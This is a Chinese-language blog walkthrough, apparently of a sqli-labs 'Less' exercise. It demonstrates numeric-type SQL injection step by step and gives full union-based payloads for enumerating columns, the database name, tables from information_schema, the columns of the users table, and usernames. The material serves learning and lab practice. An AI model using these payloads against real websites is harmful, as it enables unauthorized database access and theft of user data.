Less

Posted meng-yu37

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less相关的知识,希望对你有一定的参考价值。

1.先判断注入类型

技术图片

 

 

   (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1 

    技术图片

   (2)输入?id=1‘ and 1=1

    技术图片

 

 

     出现错误

  (3)输入 ?id=1 and 1=1

    技术图片

 

 

   页面显示正常

  (4)输入 ?id=1 and 1=2

    技术图片

 

 

   页面改变

  (5)综上,可以判断出是数字型注入

2.对列数进行判断

  (1)输入?id=1 order by 1 --+

    技术图片

 

 

     显示正常

  (2)输入?id=1 order by 2 --+  

    技术图片

 

 

     显示正常

  (3)输入?id=1 order by 3 --+

    技术图片

 

 

     显示正常

  (4)输入?id=1 order by 4 --+

    技术图片

 

 

     出现问题

  (5)综上,判断是3列

3.查看显示位,判断手注位置

  (1)输入?id=-1 union select 1,2,3 --+

     技术图片

 

 

   2,3为显示位,此时可在2,3位置进行手注

4.进行注入

  (1)注当前数据库名:?id=-1 union select 1,database(),3 --+

    技术图片

 

 

   (2)爆注册表。?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

     技术图片

 

 

   (3)注某张表的字段,这里以users为例:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

    技术图片

 

   (4)注字段的值,这里以users表里的username为例:?id=-1 union select 1,group_concat(username),3 from security.users --+

    技术图片

 

 

首先看到要求,要求传一个ID参数,并且要求是数字型的;

以上是关于Less的主要内容,如果未能解决你的问题,请参考以下文章

less基础

less基础

LESS基础教程

vue项目中使用less

linux-less

2018-01-09 Linux文本文件查看类命令